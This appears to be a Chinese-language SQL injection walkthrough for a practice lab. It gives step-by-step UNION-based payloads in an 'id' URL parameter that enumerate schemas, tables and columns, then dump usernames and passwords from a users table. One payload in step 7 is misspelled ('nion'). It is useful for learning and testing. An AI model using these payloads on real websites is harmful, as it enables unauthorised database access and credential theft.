1.通过随即输入id
网址后面接?id=1,得到用户名和密码
判断sql注入漏洞的类型:1.数字型、2.字符型。用and 1=1 和and 1=2来判断
2.判断注入漏洞的类型
输入and 1=1来,没有变化
继续输入and 1=2,页面显示正常,说明不是数字型注入漏洞
3.判断注入点
输入?id=1’ and 1=1--+
将1=1换成1=2发现没有报错,但不显示信息,说明可以使用字符注入
4.判断列数
使用order by,从一开始逐渐增加,一直到报错时停止
?id=1’ order by 1--+
由此可以确认列数为3(因为到4报错)
5.判断数据显示位置
?id=0’ union select 1,2,3--+
通过此处便可以插入更多的sql语句去查询一些信息
6.判断数据库的名称
?id=-1’union select 1,2,database()--+
所以数据库的名称为security
7.查询所有库名
?id=-1' nion select 1,group_concat(schema_name),3 from information_schema.schemata --+
所有库显示如上
8.查询所有表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
9.查询security数据库的信息
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
10.查询user表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
11.查看user表中的username这一列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+
可以得到账号
12查看user表中的password这一列的值
?id=-1' union select 1,2,group_concat(password) from security.users--+
可以得到上一步骤账户的密码